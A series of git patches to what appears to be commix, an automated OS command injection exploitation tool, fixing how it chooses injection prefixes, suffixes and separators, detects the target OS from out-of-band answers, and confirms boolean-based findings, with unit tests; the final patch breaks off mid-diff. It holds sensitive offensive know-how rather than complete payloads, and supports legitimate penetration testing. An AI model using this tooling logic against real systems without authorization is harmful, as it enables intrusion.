b/src/core/controller/checks.py index 9fb48fca8c..5baa966fa7 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -3797,6 +3797,22 @@ def awk_reverse_program(separator, fold=False): """ def confirm_boundary(bare_prefix, bare_suffix, separator, whitespace): settings.CONFIRMED_BOUNDARY[settings.CHECKING_PARAMETER] = (bare_prefix, bare_suffix, separator, whitespace) + """ + A pipe proves the injection but cannot carry the retrieval, where the substitution in use holds + no second one inside it. + + Measuring a command's own output means putting the command inside the expression that counts it, + which backticks cannot express without escaping every inner pair. Counting the pipeline instead + would count the newline the other spelling drops, and the retrieval indexes by that count - so it + is left alone and said out loud rather than answered with nothing and no reason given. + """ + if (separator in ("|", "||") and not substitution_nests() + and not settings.PIPE_RETRIEVAL_NOTICE_GIVEN): + settings.PIPE_RETRIEVAL_NOTICE_GIVEN = True + warn_msg = "The pipe this finding was confirmed on cannot carry the retrieval of a command's " + warn_msg += "output while the payload is written with backticks, so execution is proved but " + warn_msg += "nothing is read back through it. Another substitution reaches both." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if whitespace and settings.WHITESPACES and settings.WHITESPACES[0] != whitespace: settings.WHITESPACES = [whitespace] + [_ for _ in settings.WHITESPACES if _ != whitespace] diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 70867a51dc..37d3477099 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -386,9 +386,14 @@ def _http_first(): debug_msg = "The target answered out-of-band over '" + transport + "'." settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) return url - if not menu.options.os: + # Settled only where the client that answered belongs to one of them: a shared one says the + # command ran, not which shell ran it, and the sweep is better off still asking than led by a + # guess it would then build every payload on. + if not menu.options.os and oob_payloads.transport_identifies_os(transport): settings.TARGET_OS = target_os - announce_heuristic_finding("identified command shell type: '" + checks.target_shell_label() + "'") + announce_heuristic_finding("identified command shell type: '" + checks.target_shell_label() + "'") + else: + announce_heuristic_finding("answered out-of-band over '" + transport + "'") return url """ @@ -849,9 +854,18 @@ def injection_process(url, check_parameter, http_request_method, filename, times # What the value stands for, once whatever it is written in has been taken off it. def read_value_as(description): nonlocal url - decoded = checks.strip_encoding(settings.TESTABLE_VALUE, description) + """ + Read off the value the target reads, not the spelling the URL carries it in. + + A query string writes a base64 value's own padding as '%3D', so taken as it arrived the value + is not base64 at all and a parameter that carries one perfectly well is refused for not + carrying one. Writing it back out is already done on the unquoted value, so reading it in is + done the same way here. + """ + carried = _urllib.parse.unquote(settings.TESTABLE_VALUE) + decoded = checks.strip_encoding(carried, description) # Written out again it has to give back what arrived, or what was read was not the value. - if checks.apply_encoding(decoded, description) != settings.TESTABLE_VALUE: + if checks.apply_encoding(decoded, description) != carried: raise ValueError("the value is not written in that encoding") settings.VALUE_ENCODING = description if decoded != settings.TESTABLE_VALUE: @@ -867,7 +881,10 @@ def read_value_as(description): url = url.replace(settings.TESTABLE_VALUE, decoded) settings.TESTABLE_VALUE = decoded - named = checks.named_encoding(check_parameter, settings.TESTABLE_VALUE) + # Read off the value itself, not the spelling the URL carries it in: a base64 value's own padding + # rides as '%3D', and a descriptor worked out from that reads the value as carrying none - so + # writing it back out drops the padding and the value no longer matches what arrived. + named = checks.named_encoding(check_parameter, _urllib.parse.unquote(settings.TESTABLE_VALUE)) if settings.LOAD_SESSION: """ A finding read back from a session carries the encoding it was made with, so there is nothing diff --git a/src/core/techniques/oob/oob_payloads.py b/src/core/techniques/oob/oob_payloads.py index ffe4ff82df..8ac3a79daf 100644 --- a/src/core/techniques/oob/oob_payloads.py +++ b/src/core/techniques/oob/oob_payloads.py @@ -42,6 +42,17 @@ # changes. They are asked once a boundary is confirmed, where a target without the common ones still # needs something that carries output back whole rather than a name at a time. FALLBACK_TRANSPORTS = ("php", "ruby", "openssl") +""" +Whether answering over this client says which operating system answered. + +A client both lists carry - 'curl' is on either platform, and a DNS lookup is asked for everywhere - +proves the command ran and nothing more. Read as an answer to "which one", the probe that happened to +be asked first settles it, and a POSIX target taken for a Windows one is then sent cmd.exe payloads +for the rest of the run with its own tamper scripts skipped for needing a POSIX shell. +""" +def transport_identifies_os(transport): + return transport not in set(UNIX_TRANSPORTS) & set(WINDOWS_TRANSPORTS) + # 's_client' opens a TLS connection and has no plaintext mode, so this one has nothing to offer a # server reached over plain HTTP - it would hand a TLS handshake to a port that speaks none, and # fail every time. Left out wherever the scheme in use is not HTTPS. diff --git a/src/utils/settings.py b/src/utils/settings.py index e6c0e5253d..5ca35533cd 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "290" +REVISION = "291" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -626,6 +626,8 @@ def payload_safe_chars(): # The substitution that cannot hold another one - see checks.substitution_nests(). BACKTICK_SUBSTITUTION = "`" +# Said once, where a confirmed pipe cannot carry the retrieval the finding would be read with. +PIPE_RETRIEVAL_NOTICE_GIVEN = False # The one that can, to go back to where a script that chose otherwise turns out not to apply. NESTING_SUBSTITUTION = ("$(", ")") CMD_SUB_PREFIX = "$(" diff --git a/tests/test_checks.py b/tests/test_checks.py index 72ccd592b3..f87fae7d69 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -282,6 +282,21 @@ def test_a_probe_that_did_reach_it_still_counts(self): checks.record_probe_response_time(exec_time) self.assertEqual(5, len(settings.PROBE_RESPONSE_TIMES)) +class CarriedEncoding(unittest.TestCase): + """ + How a value written in an encoding is read back off the request it rode in. + """ + def test_padding_is_read_as_padding_however_the_url_spells_it(self): + """ + A query string writes '=' as '%3D', so a descriptor worked out from the raw spelling reads a + padded value as carrying no padding - and writing it back out then drops the padding, leaving + the value not matching what arrived, so a parameter that carries base64 is refused for not. + """ + for value in ("Z3Vlc3Q=", "YWJj", "YQ=="): + described = checks.encoding_from_name("base64", value) + self.assertEqual(value, checks.apply_encoding(checks.strip_encoding(value, described), described), + "the value " + repr(value) + " did not survive being read and written back") + class DelayThreshold(unittest.TestCase): """ How late an answer has to be before it counts as a delay that was asked for. diff --git a/tests/test_payloads.py b/tests/test_payloads.py index 56b92f268f..eb7078f9a3 100644 --- a/tests/test_payloads.py +++ b/tests/test_payloads.py @@ -174,6 +174,62 @@ def test_the_unresolved_list_holds_nothing_already_compliant(self): still_offending.add((module_name, name)) self.assertEqual(UNRESOLVED, still_offending) +class OutOfBandTransports(unittest.TestCase): + """ + What answering over a client says, and what it does not. + """ + def test_a_client_both_platforms_carry_says_nothing_about_which(self): + """ + Read as an answer to "which operating system", the probe asked first settles it - and a POSIX + target taken for a Windows one is sent cmd.exe payloads for the rest of the run, with its own + tamper scripts skipped for needing a POSIX shell. + """ + from src.core.techniques.oob import oob_payloads + shared = set(oob_payloads.UNIX_TRANSPORTS) & set(oob_payloads.WINDOWS_TRANSPORTS) + self.assertTrue(shared, "the lists share nothing, so this guard is checking an empty set") + for transport in sorted(shared): + self.assertFalse(oob_payloads.transport_identifies_os(transport), + repr(transport) + " is on both platforms and cannot say which answered") + + def test_a_client_only_one_of_them_carries_does(self): + from src.core.techniques.oob import oob_payloads + exclusive = set(oob_payloads.UNIX_TRANSPORTS) ^ set(oob_payloads.WINDOWS_TRANSPORTS) + for transport in sorted(exclusive): + self.assertTrue(oob_payloads.transport_identifies_os(transport)) + + def test_each_platform_keeps_a_client_of_its_own(self): + """ + The guard above is only useful while each list still holds something the other does not - a + Windows target is identified by 'powershell' answering and by nothing else, and no target here + can show that, so it is held to here instead. + """ + from src.core.techniques.oob import oob_payloads + windows_only = set(oob_payloads.WINDOWS_TRANSPORTS) - set(oob_payloads.UNIX_TRANSPORTS) + unix_only = set(oob_payloads.UNIX_TRANSPORTS) - set(oob_payloads.WINDOWS_TRANSPORTS) + self.assertTrue(windows_only, "nothing identifies a Windows target any more") + self.assertTrue(unix_only, "nothing identifies a POSIX target any more") + for transport in windows_only | unix_only: + self.assertTrue(oob_payloads.transport_identifies_os(transport)) + +class EvalStatementTerminators(unittest.TestCase): + """ + Where a payload that carries no separator is allowed to end a statement. + """ + def test_no_grammar_ends_a_statement_it_never_started(self): + """ + Without a separator the payload goes where one value is read from - inside PHP's '{${ }}' it is + the name of a variable - and a terminator there ends a statement that was never started, which + the interpreter refuses outright. That is what kept every level-1 PHP eval payload malformed. + """ + from src.core import eval as _eval + for language in sorted(_eval.supported()): + grammar = _eval.grammar(language) + statement = grammar.print_statement("", ["echo MARKER"]) + terminator = getattr(grammar, "TERMINATOR", "") + if terminator: + self.assertFalse(statement.endswith(terminator), + language + " ends a statement the boundary never started: " + repr(statement)) + class AwkExpressions(unittest.TestCase): """ The measurements a payload makes when it cannot carry a variable from one command to the next. From 020450de4899e69b4b26dbd23178512ebd2adfe1 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 5 Nov 2026 08:10:18 +0200 Subject: [PATCH 0965/1023] Fixed several issues regarding boundaries the sweep names and reports, affecting a prefix or suffix given on the command line, which stood beside each boundary instead of in place of it, and the progress the boolean-based technique counts off --- src/core/controller/checks.py | 12 +++++++++++- src/core/controller/handler.py | 15 ++++++++++++++- src/core/requests/parameters.py | 23 +++++++++++++---------- src/utils/settings.py | 25 ++++++++++++++++++------- tests/test_parameters.py | 32 ++++++++++++++++++++++++++++++++ tests/test_settings.py | 22 ++++++++++++++++++++++ 6 files changed, 110 insertions(+), 19 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 5baa966fa7..b75fa6ff9e 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -1070,7 +1070,17 @@ def injection_process(injection_type, technique, done=False, i=None, total=None) # close in that case: the technique was already announced, and that other output already # ended the line - neither re-announcing it nor a bare "(done)" with nothing before it on the # line says anything the user was not already told. - if done and already_announced and settings.TOTAL_OF_REQUESTS == settings.LAST_ANNOUNCED_REQUESTS: + """ + Nothing left to close, either because nothing happened since the title or because what did + happen already printed itself out. + + A sweep that counted its boundaries off marked them on a line that something else then ended - + the dots are behind it either way. Announcing the technique a second time to put "(done)" after + it writes the title again with the three dots of "please wait..." and nothing of the work, so a + sweep of a hundred questions is signed off looking like one that asked none. + """ + if done and already_announced and (settings.TOTAL_OF_REQUESTS == settings.LAST_ANNOUNCED_REQUESTS + or settings.LAST_DOT_BUCKET != -1): settings.LAST_COMPLETED_TECHNIQUE = technique return # Said a second time where something came between the title and the testing it announced, and diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index cc2874127f..6131c1b42d 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -836,14 +836,27 @@ def _answers_both_ways(whitespace, prefix, suffix, separator, TAG): # An evaluation sink halts the target's own code, which shortens the page it renders whether or # not the target branches - so there is nothing the second shape would reach that the first cannot. shapes = (False,) if menu.options.eval_sink else (False, True) + """ + Counted off the way the other techniques count theirs. + + A dot per boundary asked, across both shapes rather than restarting on the second. Reporting only + the boundary that answered left the line holding whatever two or three dots something else had + printed, so a sweep of a hundred questions read exactly like one that asked three - and on a + parameter that answers none of them, that is the whole of what the line ever said. + """ + boundaries = list(_boundary_combinations(whitespaces, prefixes, suffixes, separators, grammar_separators=checks.grammar_separators())) + total = len(boundaries) * len(shapes) + i = 0 for printed in shapes: settings.BOOLEAN_PRINTED_STATE = printed - for whitespace, prefix, suffix, separator in _boundary_combinations(whitespaces, prefixes, suffixes, separators, grammar_separators=checks.grammar_separators()): + for whitespace, prefix, suffix, separator in boundaries: + i += 1 settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False bare_prefix, bare_suffix = prefix, suffix confirmed = _answers_both_ways(whitespace, prefix, suffix, separator, TAG) if not confirmed: + checks.injection_process(injection_type, technique, done=bool(i >= total), i=i, total=total) continue payload, vuln_parameter, prefix, suffix = confirmed checks.injection_process(injection_type, technique, done=True) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 479843f527..daf1d63bdd 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -804,12 +804,16 @@ def prefixes(payload, prefix): pre_custom = resolve_marker_component(settings.TESTABLE_VALUE, settings.PRE_CUSTOM_INJECTION_MARKER_CHAR) if pre_custom is not None and pre_custom not in prefix and not menu.options.prefix: prefix = pre_custom + prefix - # Check if defined "--prefix" option. - if menu.options.prefix and not settings.LOAD_SESSION: - # Containment is not the question: a boundary that happens to hold the same character is not - # the boundary the user asked for. - if not prefix.endswith(menu.options.prefix): - prefix = prefix + menu.options.prefix + """ + Named with '--prefix', which stands in place of the boundary's own rather than beside it. + + Appended instead, the prefix the user asked for arrives behind whatever each boundary already + carried - ';' and '&' and a quote in turn - so the sweep sends combinations nobody asked for and + never once sends the one that was. Naming it settles the question the sweep exists to ask, the + same way naming a technique settles which techniques run. + """ + if menu.options.prefix is not None and not settings.LOAD_SESSION: + prefix = menu.options.prefix payload = prefix + payload # Fixation for specific payload. @@ -830,10 +834,9 @@ def suffixes(payload, suffix): if post_custom: if post_custom not in suffix: suffix = suffix + post_custom - # Check if defined "--suffix" option, the way a prefix is handled just above. - if menu.options.suffix and not settings.LOAD_SESSION: - if not suffix.endswith(menu.options.suffix): - suffix = suffix + menu.options.suffix + # Named with '--suffix', standing in place of the boundary's own, the way a prefix does above. + if menu.options.suffix is not None and not settings.LOAD_SESSION: + suffix = menu.options.suffix payload = payload + suffix diff --git a/src/utils/settings.py b/src/utils/settings.py index 5ca35533cd..35e4257e58 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "291" +REVISION = "292" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -926,17 +926,28 @@ class OS(object): SEPARATORS_LVL1 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS SEPARATORS_LVL3 = SEPARATORS_LVL2 = SEPARATORS_LVL1 -# The command injection prefixes. +""" +The command injection prefixes and suffixes. + +A quote is carried from the first level, as the reference carries one in its own. The commonest +shape a real sink has is a value spliced into a quoted string, and a boundary that never opens the +quote reaches none of them - held back to a level nobody runs by default, those targets are +reported as not injectable, which is true of what was tried and false of the target. + +It costs little: a quote suffix is kept only beside its own prefix, so the first level asks five +prefix/suffix pairs where the cross-product would be nine - the count the reference asks at its own +first level. Levels two and three carry exactly what they carried before; the quotes moved down +rather than being added to theirs. +""" PREFIXES = [] -PREFIXES_LVL1 = [""] +PREFIXES_LVL1 = ["", "'", "\""] PREFIXES_LVL2 = PREFIXES_LVL1 + SEPARATORS_LVL1 -PREFIXES_LVL3 = PREFIXES_LVL2 + ["'", "\""] +PREFIXES_LVL3 = PREFIXES_LVL2 -# The command injection suffixes. SUFFIXES = [] -SUFFIXES_LVL1 = [""] +SUFFIXES_LVL1 = ["", "'", "\""] SUFFIXES_LVL2 = SUFFIXES_LVL1 + SEPARATORS_LVL1 -SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'", "\"", " #", "//", "\\\\"] +SUFFIXES_LVL3 = SUFFIXES_LVL2 + [" #", "//", "\\\\"] # A quote closes only its own kind. QUOTES = ("'", "\"") diff --git a/tests/test_parameters.py b/tests/test_parameters.py index f5872278bb..ec069916f8 100644 --- a/tests/test_parameters.py +++ b/tests/test_parameters.py @@ -23,6 +23,7 @@ from src.core.requests import parameters from src.utils import settings +from src.core.parse import cmdline as menu class UrlParts(unittest.TestCase): def test_the_query_is_cut_from_the_path(self): @@ -100,6 +101,37 @@ def test_a_single_pair_stays_one(self): split, _ = parameters.split_post_parameters("a=1") self.assertEqual(["a=1"], split) +class NamedBoundary(unittest.TestCase): + """ + What '--prefix' and '--suffix' do to the boundary the sweep was going to send. + """ + def setUp(self): + self.prefix, self.suffix = menu.options.prefix, menu.options.suffix + self.load_session = settings.LOAD_SESSION + settings.LOAD_SESSION = False + + def tearDown(self): + menu.options.prefix, menu.options.suffix = self.prefix, self.suffix + settings.LOAD_SESSION = self.load_session + + def test_a_named_boundary_stands_in_place_of_the_one_being_tried(self): + """ + Added to it instead, what the user named arrives behind whatever each boundary already carried, + so the sweep sends combinations nobody asked for and never once sends the one that was. + """ + menu.options.prefix, menu.options.suffix = "'", "'" + _, prefix = parameters.prefixes("payload", ";") + _, suffix = parameters.suffixes("payload", "&") + self.assertEqual("'", prefix) + self.assertEqual("'", suffix) + + def test_an_unnamed_boundary_is_left_as_it_was(self): + menu.options.prefix = menu.options.suffix = None + _, prefix = parameters.prefixes("payload", ";") + _, suffix = parameters.suffixes("payload", "&") + self.assertEqual(";", prefix) + self.assertEqual("&", suffix) + class TestableValue(unittest.TestCase): """ Whether the parameter's own value is handed to the target, or a placeholder put in its place. diff --git a/tests/test_settings.py b/tests/test_settings.py index 52fb7d37df..86b96c9505 100644 --- a/tests/test_settings.py +++ b/tests/test_settings.py @@ -100,5 +100,27 @@ def test_every_script_says_what_it_does(self): missing.append(name) self.assertEqual([], missing) +class FirstLevelBoundaries(unittest.TestCase): + """ + What the level nobody has to ask for is willing to try. + """ + def test_the_first_level_can_open_and_close_a_quote(self): + """ + The commonest shape a real sink has is a value spliced into a quoted string. Without a quote + here those targets answer every boundary the same way and are reported as not injectable, which + is true of what was tried and false of the target. + """ + for quote in settings.QUOTES: + self.assertIn(quote, settings.PREFIXES_LVL1) + self.assertIn(quote, settings.SUFFIXES_LVL1) + + def test_the_levels_above_it_lost_nothing(self): + # The quotes moved down rather than being added, so the wider levels carry what they carried. + for quote in settings.QUOTES: + self.assertIn(quote, settings.PREFIXES_LVL3) + self.assertIn(quote, settings.SUFFIXES_LVL3) + for comment in (" #", "//"): + self.assertIn(comment, settings.SUFFIXES_LVL3) + if __name__ == "__main__": unittest.main() From 42766e29f5c3b18b54ae1b417a640560a91becdc Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 5 Nov 2026 08:11:00 +0200 Subject: [PATCH 0966/1023] Fixed several issues regarding boundaries asked of a target that cannot answer them, affecting the boundary a confirmed finding settles, the comment suffix sent to a Windows shell, the suffixes borrowed from the evaluation sinks and which values are read as a number --- src/core/controller/checks.py | 21 +++++++++++++++- src/core/controller/handler.py | 17 ++++++++++--- src/utils/settings.py | 12 ++++++--- tests/test_checks.py | 46 ++++++++++++++++++++++++++++++++++ tests/test_settings.py | 15 +++++++++-- 5 files changed, 101 insertions(+), 10 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index b75fa6ff9e..3dda337997 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -708,7 +708,16 @@ def eval_prefixes(): def sink_boundaries(): if menu.options.eval_sink: return settings.EVAL_PREFIXES, settings.EVAL_SUFFIXES, settings.EVAL_SEPARATORS - return settings.PREFIXES, settings.SUFFIXES, settings.SEPARATORS + """ + A suffix whose whole job is to comment out what follows it is a suffix only where the shell has a + comment to write. 'cmd.exe' has none that a trailing marker can use - 'REM' begins a statement + rather than ending one - so a POSIX '#' asked of a Windows target is a boundary it cannot honour, + sent once per separator on every parameter tested. + """ + suffixes = settings.SUFFIXES + if settings.TARGET_OS == settings.OS.WINDOWS: + suffixes = [candidate for candidate in suffixes if candidate.strip() != settings.COMMENT] + return settings.PREFIXES, suffixes, settings.SEPARATORS """ What the grammar in hand calls a separator, which is not what this target can chain on - the latter @@ -2093,6 +2102,16 @@ def http_error_code_label(code, err=None): reason = str(getattr(err, "reason", "") or "").strip() return str(code) + (" " + reason if reason else "") +""" +Whether a value is written out of nothing but digits. + +Asked with a pattern rather than with 'str.isdigit()', which answers for every character Unicode +calls a digit - a superscript two among them - and so reads a value no shell would take for a +number as one, ordering the boundaries that are tried first off it. +""" +def is_digit(value): + return re.search(r"\A[0-9]+\Z", value or "") is not None + """ Whether an HTTP error code is one the user chose to ignore, with '--ignore-code'. """ diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index 6131c1b42d..b326635b0a 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -93,7 +93,7 @@ def _boundary_combinations(whitespaces, prefixes, suffixes, separators, keep_out """ def _order_by_value_shape(prefixes, suffixes): value = (settings.TESTABLE_VALUE or "").strip() - if value.isdigit(): + if checks.is_digit(value): quoted_last = True elif value.isalpha(): quoted_last = False @@ -117,8 +117,19 @@ def _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces): _boundary = settings.CONFIRMED_BOUNDARY.get(settings.CHECKING_PARAMETER) if _boundary: _b_prefix, _b_suffix, _b_separator, _b_whitespace = _boundary - prefixes = _prioritize(prefixes, _b_prefix) - suffixes = _prioritize(suffixes, _b_suffix) + """ + Settled for this parameter, not merely tried first. + + A technique that broke out of the string already answered which prefix and suffix this sink + reads; the techniques after it are asked through that one rather than through one more ordering + of the whole space, which is what the reference does once an injection has a boundary of its own. + + The separator is left to the sweep. It is not part of that answer here the way a prefix is: what + chains at this sink is a question each technique settles for itself, and one that refuses an + operator another proved - boolean-based will not take a bare '&' - still needs its own turn. + """ + prefixes = [_b_prefix] if _b_prefix in prefixes else _prioritize(prefixes, _b_prefix) + suffixes = [_b_suffix] if _b_suffix in suffixes else _prioritize(suffixes, _b_suffix) separators = _prioritize(separators, _b_separator) whitespaces = _prioritize(whitespaces, _b_whitespace) return prefixes, suffixes, separators, whitespaces diff --git a/src/utils/settings.py b/src/utils/settings.py index 35e4257e58..99d87994d9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "292" +REVISION = "293" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -940,14 +940,18 @@ class OS(object): rather than being added to theirs. """ PREFIXES = [] -PREFIXES_LVL1 = ["", "'", "\""] +PREFIXES_LVL1 = [""] PREFIXES_LVL2 = PREFIXES_LVL1 + SEPARATORS_LVL1 PREFIXES_LVL3 = PREFIXES_LVL2 SUFFIXES = [] -SUFFIXES_LVL1 = ["", "'", "\""] +SUFFIXES_LVL1 = [""] SUFFIXES_LVL2 = SUFFIXES_LVL1 + SEPARATORS_LVL1 -SUFFIXES_LVL3 = SUFFIXES_LVL2 + [" #", "//", "\\\\"] +# A comment is what the shell in hand calls one. '//' and '\\' were added for the evaluation sinks +# back when those had no grammar of their own to carry them, and every grammar carries them now - +# PHP its '//' and '/*', JavaScript its '//', Lua its '--'. Left here they were asked of a shell +# that reads neither as an ending, once per separator on every parameter tested. +SUFFIXES_LVL3 = SUFFIXES_LVL2 + [" #"] # A quote closes only its own kind. QUOTES = ("'", "\"") diff --git a/tests/test_checks.py b/tests/test_checks.py index f87fae7d69..509cc9f4a3 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -297,6 +297,52 @@ def test_padding_is_read_as_padding_however_the_url_spells_it(self): self.assertEqual(value, checks.apply_encoding(checks.strip_encoding(value, described), described), "the value " + repr(value) + " did not survive being read and written back") +class DigitValues(unittest.TestCase): + """ + Which values are read as a number, since that is what decides the boundaries tried first. + """ + def test_only_the_digits_a_shell_would_read_as_one(self): + """ + 'str.isdigit()' answers for every character Unicode calls a digit - a superscript two among + them - so a value no shell would take for a number was read as one, and the boundaries a quoted + value needs were ordered last on the strength of it. + """ + for value in ("0", "4", "0042", "123456"): + self.assertTrue(checks.is_digit(value), value + " is written out of digits") + for value in (u"\xb2", u"\u0660", "3b3", "127.0.0.1", "-5", "1.5", "", " 4"): + self.assertFalse(checks.is_digit(value), repr(value) + " is not") + +class SinkBoundaries(unittest.TestCase): + """ + Which boundaries are worth asking of the shell in hand. + """ + def setUp(self): + self.target_os = settings.TARGET_OS + self.eval_sink = menu.options.eval_sink + menu.options.eval_sink = None + settings.apply_injection_level(settings.HTTP_HEADER_INJECTION_LEVEL) + + def tearDown(self): + settings.TARGET_OS = self.target_os + menu.options.eval_sink = self.eval_sink + settings.apply_injection_level(settings.DEFAULT_INJECTION_LEVEL) + + def commented(self): + _, suffixes, _ = checks.sink_boundaries() + return [candidate for candidate in suffixes if candidate.strip() == settings.COMMENT] + + def test_a_shell_with_a_comment_is_offered_one(self): + settings.TARGET_OS = settings.OS.UNIX + self.assertTrue(self.commented()) + + def test_a_shell_without_one_is_not(self): + """ + 'cmd.exe' has no comment a trailing marker can use, so a POSIX '#' asked of it is a boundary it + cannot honour - sent once per separator, on every parameter tested. + """ + settings.TARGET_OS = settings.OS.WINDOWS + self.assertEqual([], self.commented()) + class DelayThreshold(unittest.TestCase): """ How late an answer has to be before it counts as a delay that was asked for. diff --git a/tests/test_settings.py b/tests/test_settings.py index 86b96c9505..21a6dc14fb 100644 --- a/tests/test_settings.py +++ b/tests/test_settings.py @@ -119,8 +119,19 @@ def test_the_levels_above_it_lost_nothing(self): for quote in settings.QUOTES: self.assertIn(quote, settings.PREFIXES_LVL3) self.assertIn(quote, settings.SUFFIXES_LVL3) - for comment in (" #", "//"): - self.assertIn(comment, settings.SUFFIXES_LVL3) + self.assertIn(" #", settings.SUFFIXES_LVL3) + + def test_the_shell_list_carries_only_a_comment_the_shell_reads(self): + """ + '//' and '\\' were added for the evaluation sinks before those had grammars of their own, and + every grammar carries them now - so in the shell's own list they were boundaries no shell reads + as an ending, asked once per separator on every parameter tested. + """ + for borrowed in ("//", "\\"): + self.assertNotIn(borrowed, settings.SUFFIXES_LVL3) + from src.core import eval as _eval + self.assertIn("//", _eval.grammar("php").SUFFIXES_LVL3) + self.assertIn("//", _eval.grammar("javascript").SUFFIXES_LVL3) if __name__ == "__main__": unittest.main() From 2da6e3e798b88cb16757f15768da16322c767a74 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 5 Nov 2026 08:11:33 +0200 Subject: [PATCH 0967/1023] Fixed an issue regarding injection points missed at the default level, affecting the quote boundaries the first level carries. --- src/utils/settings.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index 99d87994d9..7a255a3d95 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "293" +REVISION = "294" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -940,12 +940,12 @@ class OS(object): rather than being added to theirs. """ PREFIXES = [] -PREFIXES_LVL1 = [""] +PREFIXES_LVL1 = ["", "'", "\""] PREFIXES_LVL2 = PREFIXES_LVL1 + SEPARATORS_LVL1 PREFIXES_LVL3 = PREFIXES_LVL2 SUFFIXES = [] -SUFFIXES_LVL1 = [""] +SUFFIXES_LVL1 = ["", "'", "\""] SUFFIXES_LVL2 = SUFFIXES_LVL1 + SEPARATORS_LVL1 # A comment is what the shell in hand calls one. '//' and '\\' were added for the evaluation sinks # back when those had no grammar of their own to carry them, and every grammar carries them now - From ce363398fa3288fccf6af3745d65720e5921ff56 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 5 Nov 2026 08:12:11 +0200 Subject: [PATCH 0968/1023] Fixed an issue regarding a boundary confirmed on an error the interpreter printed, affecting the page a true answer is read against --- src/core/controller/handler.py | 8 ++++++++ src/utils/settings.py | 2 +- 2 files changed, 9 insertions(+), 1 deletion(-) diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index b326635b0a..44bb7a7032 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -753,6 +753,14 @@ def _answers_both_ways(whitespace, prefix, suffix, separator, TAG): if not settings.BOOLEAN_PRINTED_STATE and checks.comparable_page(page_false or "") == checks.comparable_page(settings.ORIGINAL_PAGE or ""): return None """ + And a true answer that does not read like that page is the payload breaking the sink, not + answering through it. Where it does not parse, the interpreter prints its complaint instead, + and the false question draws another carrying different digits of this run's own - read as two + answers, that one error confirms a boundary nothing ever ran through. + """ + if not settings.BOOLEAN_PRINTED_STATE and checks.comparable_page(page_true or "") != checks.comparable_page(settings.ORIGINAL_PAGE or ""): + return None + """ What the page moves on its own, measured again where the run can actually see it. It is looked for once when the target is first reached, from two samples of a request that diff --git a/src/utils/settings.py b/src/utils/settings.py index 7a255a3d95..25dadf9ae3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "294" +REVISION = "295" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 0645d0ce75162fbe2d9b33cd4078bf2f8892a524 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 5 Nov 2026 08:14:08 +0200 Subject: [PATCH 0969/1023] Fixed several issues regarding injection points that went undetected, affecting parameters whose value arrives empty and sinks evaluating JavaScript outside "Node" --- src/core/controller/checks.py | 9 +++++- src/tamper/eval/javascript/nashornexec.py | 27 ++++++++++------- src/utils/settings.py | 2 +- tests/test_checks.py | 28 ++++++++++++++++++ tests/test_tamper.py | 35 +++++++++++++++++++++++ 5 files changed, 88 insertions(+), 13 deletions(-) diff --git a/src/core/controller/checks.py 